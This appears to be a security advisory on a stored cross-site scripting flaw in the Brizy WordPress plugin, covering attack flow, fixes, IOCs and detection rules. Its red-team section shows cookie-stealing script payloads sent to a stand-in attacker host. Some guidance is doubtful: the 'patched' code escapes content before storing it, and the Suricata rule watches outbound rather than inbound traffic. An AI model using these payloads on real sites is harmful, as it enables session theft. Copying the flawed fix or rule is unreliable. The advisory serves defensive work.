CVE-2024-1940

Executive Summary

CVE-2024-1940 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.41. The vulnerability arises from insufficient input sanitization performed only on the client side and insufficient output escaping. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into post content. When a user accesses an injected page, the malicious script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache or Nginx). The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is available, but the risk remains significant due to the widespread use of the Brizy plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin installation and ensure they are not using modified or malicious versions from third-party sources. The plugin's update mechanism should be monitored for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. While the EPSS score is low, the vulnerability is easy to exploit once authenticated, and the impact on confidentiality, integrity, and availability is significant in a WordPress context.

Deep Dive & Mechanics

The vulnerability resides in the Brizy page builder's handling of post content. The plugin performs input sanitization only on the client side (JavaScript), which can be bypassed by an attacker sending crafted HTTP requests directly to the server. Additionally, the plugin fails to properly escape output when rendering the content, allowing stored XSS payloads to execute.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker creates or edits a post using the Brizy page builder.
3. The attacker injects a malicious script (e.g., <script>alert('XSS')</script>) into a content field.
4. The client-side sanitization is bypassed by intercepting and modifying the request (e.g., using Burp Suite).
5. The server stores the malicious content without proper sanitization.
6. When any user (including administrators) views the post, the script executes in their browser.

Root Cause: The plugin relies on client-side JavaScript for input validation, which is inherently insecure. Server-side validation and output escaping are missing or insufficient.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

// Client-side sanitization only (JavaScript)
// No server-side validation
$content = $_POST['brizy_content'];
// Stored directly without escaping
update_post_meta($post_id, 'brizy_content', $content);

Patched Code (Expected):

// Server-side sanitization and escaping
$content = $_POST['brizy_content'];
$sanitized_content = wp_kses_post($content); // WordPress sanitization function
$escaped_content = esc_html($sanitized_content); // Output escaping
update_post_meta($post_id, 'brizy_content', $escaped_content);

Key Differences:

• Server-side validation using wp_kses_post() to strip malicious HTML/JavaScript.
• Output escaping using esc_html() to prevent execution of stored scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Brizy plugin <= 2.4.41
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post and open the Brizy page builder.
3. Intercept the POST request using a proxy (e.g., Burp Suite).
4. Modify the brizy_content parameter to include a malicious payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Forward the request and publish the post.
6. When an administrator or other user views the post, the script executes, exfiltrating cookies.

Example Payload:

// Stored XSS payload
<script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=brizy_editor_save or similar.
• Look for brizy_content parameters containing <script> tags or event handlers (e.g., onload, onerror).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Defense:

• Apply the official patch once released.
• Implement server-side input validation using WordPress functions like wp_kses_post().
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Limit contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=brizy_editor_save containing suspicious brizy_content values.
  • Outbound connections to known malicious domains from WordPress admin sessions.

• File IOCs:

  • Modified post content in the database containing <script> tags or base64-encoded JavaScript.
  • Log entries showing unusual user agent strings or repeated failed login attempts.

• Behavioral IOCs:

  • Unexpected changes to post content by contributor-level users.
  • Alerts from WAF or IDS/IPS systems flagging XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2024_1940_Brizy_XSS {
    meta:
        description = "Detects stored XSS payloads in Brizy plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1940"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $brizy = "brizy_content" nocase
    condition:
        $brizy and (any of ($xss*))
}

Sigma Rule

title: CVE-2024-1940 Brizy Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts against Brizy plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=brizy_editor_save'
        cs-uri-query|contains: 'brizy_content'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Brizy content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1940 Brizy Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_editor_save"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until an official patch is released.
2. Review and sanitize all existing post content created with Brizy for malicious scripts.
3. Restrict contributor-level access to only trusted users.

Long-term Fixes:

• Apply the official patch from the Brizy plugin repository once available.
• Implement server-side input validation using WordPress functions (wp_kses_post, sanitize_text_field).
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all WordPress plugins and core.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing XSS patterns in brizy_content.
• Manually add server-side sanitization by editing the plugin files (not recommended for production).

Valters IT